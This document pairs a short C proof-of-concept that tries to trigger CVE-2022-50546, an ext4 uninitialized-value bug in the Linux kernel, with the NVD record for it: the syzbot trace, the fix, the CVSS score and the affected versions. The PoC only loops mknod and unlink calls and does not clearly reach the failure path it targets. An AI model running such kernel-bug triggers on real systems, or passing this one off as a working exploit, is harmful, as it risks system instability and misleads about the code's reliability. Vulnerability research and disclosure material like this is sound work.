CVE-2022-50546

/* CVE-2022-50546 PoC - Trigger uninit-value in ext4_evict_inode * * This PoC attempts to trigger the uninitialized value access in * ext4_evict_inode by creating a new inode and forcing failure * before ei->i_flags is set. * * Compile: gcc -o poc poc.c * Usage: ./poc <mount_point> */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <errno.h> #include <string.h> int main(int argc, char *argv[]) { const char *path; char nodepath[256]; int ret; if (argc < 2) { path = "/tmp"; } else { path = argv[1]; } /* Step 1: Try to create a directory on ext4 filesystem to trigger inode allocation */ snprintf(nodepath, sizeof(nodepath), "%s/test_dir_cve_2022_50546", path); ret = mkdir(nodepath, 0755); if (ret == -1 && errno != EEXIST) { perror("mkdir"); } /* Step 2: Attempt to create a node (mknod) to trigger __ext4_new_inode path */ snprintf(nodepath, sizeof(nodepath), "%s/test_node_cve_2022_50546", path); ret = mknod(nodepath, S_IFREG | 0644, 0); if (ret == -1) { perror("mknod"); } /* Step 3: Rapidly create and remove inodes to increase likelihood of * hitting the error path before ei->i_flags initialization */ int i; for (i = 0; i < 1000; i++) { snprintf(nodepath, sizeof(nodepath), "%s/poc_node_%d", path, i); ret = mknod(nodepath, S_IFREG | 0644, 0); if (ret == 0) { unlink(nodepath); } } printf("PoC execution completed. Check kernel logs for KMSAN warnings.\n"); return 0; }

{"cve": {"id": "CVE-2022-50546", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:39.147", "lastModified": "2026-02-26T23:17:25.710", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix uninititialized value in 'ext4_evict_inode'\n\nSyzbot found the following issue:\n=====================================================\nBUG: KMSAN: uninit-value in ext4_evict_inode+0xdd/0x26b0 fs/ext4/inode.c:180\n ext4_evict_inode+0xdd/0x26b0 fs/ext4/inode.c:180\n evict+0x365/0x9a0 fs/inode.c:664\n iput_final fs/inode.c:1747 [inline]\n iput+0x985/0xdd0 fs/inode.c:1773\n __ext4_new_inode+0xe54/0x7ec0 fs/ext4/ialloc.c:1361\n ext4_mknod+0x376/0x840 fs/ext4/namei.c:2844\n vfs_mknod+0x79d/0x830 fs/namei.c:3914\n do_mknodat+0x47d/0xaa0\n __do_sys_mknodat fs/namei.c:3992 [inline]\n __se_sys_mknodat fs/namei.c:3989 [inline]\n __ia32_sys_mknodat+0xeb/0x150 fs/namei.c:3989\n do_syscall_32_irqs_on arch/x86/entry/common.c:112 [inline]\n __do_fast_syscall_32+0xa2/0x100 arch/x86/entry/common.c:178\n do_fast_syscall_32+0x33/0x70 arch/x86/entry/common.c:203\n do_SYSENTER_32+0x1b/0x20 arch/x86/entry/common.c:246\n entry_SYSENTER_compat_after_hwframe+0x70/0x82\n\nUninit was created at:\n __alloc_pages+0x9f1/0xe80 mm/page_alloc.c:5578\n alloc_pages+0xaae/0xd80 mm/mempolicy.c:2285\n alloc_slab_page mm/slub.c:1794 [inline]\n allocate_slab+0x1b5/0x1010 mm/slub.c:1939\n new_slab mm/slub.c:1992 [inline]\n ___slab_alloc+0x10c3/0x2d60 mm/slub.c:3180\n __slab_alloc mm/slub.c:3279 [inline]\n slab_alloc_node mm/slub.c:3364 [inline]\n slab_alloc mm/slub.c:3406 [inline]\n __kmem_cache_alloc_lru mm/slub.c:3413 [inline]\n kmem_cache_alloc_lru+0x6f3/0xb30 mm/slub.c:3429\n alloc_inode_sb include/linux/fs.h:3117 [inline]\n ext4_alloc_inode+0x5f/0x860 fs/ext4/super.c:1321\n alloc_inode+0x83/0x440 fs/inode.c:259\n new_inode_pseudo fs/inode.c:1018 [inline]\n new_inode+0x3b/0x430 fs/inode.c:1046\n __ext4_new_inode+0x2a7/0x7ec0 fs/ext4/ialloc.c:959\n ext4_mkdir+0x4d5/0x1560 fs/ext4/namei.c:2992\n vfs_mkdir+0x62a/0x870 fs/namei.c:4035\n do_mkdirat+0x466/0x7b0 fs/namei.c:4060\n __do_sys_mkdirat fs/namei.c:4075 [inline]\n __se_sys_mkdirat fs/namei.c:4073 [inline]\n __ia32_sys_mkdirat+0xc4/0x120 fs/namei.c:4073\n do_syscall_32_irqs_on arch/x86/entry/common.c:112 [inline]\n __do_fast_syscall_32+0xa2/0x100 arch/x86/entry/common.c:178\n do_fast_syscall_32+0x33/0x70 arch/x86/entry/common.c:203\n do_SYSENTER_32+0x1b/0x20 arch/x86/entry/common.c:246\n entry_SYSENTER_compat_after_hwframe+0x70/0x82\n\nCPU: 1 PID: 4625 Comm: syz-executor.2 Not tainted 6.1.0-rc4-syzkaller-62821-gcb231e2f67ec #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/26/2022\n=====================================================\n\nNow, 'ext4_alloc_inode()' didn't init 'ei->i_flags'. If new inode failed\nbefore set 'ei->i_flags' in '__ext4_new_inode()', then do 'iput()'. As after\n6bc0d63dad7f commit will access 'ei->i_flags' in 'ext4_evict_inode()' which\nwill lead to access uninit-value.\nTo solve above issue just init 'ei->i_flags' in 'ext4_alloc_inode()'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-908"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.61", "versionEndExcluding": "5.15.87", "matchCriteriaId": "0D004331-7D50-42AD-826E-F0E24247F1D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18.18", "versionEndExcluding": "5.19", "matchCriteriaId": "B60CAFE2-08C3-461B-B5F8-25BEB0C9853E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.19.2", "versionEndExcluding": "6.0.18", "matchCriteriaId": "DF07DE24-E077-48C2-A075-11E5CC621BA2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.4", "matchCriteriaId": "BC4189D9-5478-4E88-A78D-9C1DE29B217C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.10.163:*:*:*:*:*:*:*", "matchCriteriaId": "3945F890-31A5-4AEC-BB5F-CB003ED01C70"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/091f85db4c3fb1734a6d7fb4777a2b2831da6631", "source": "416baaa9-dc9 ... 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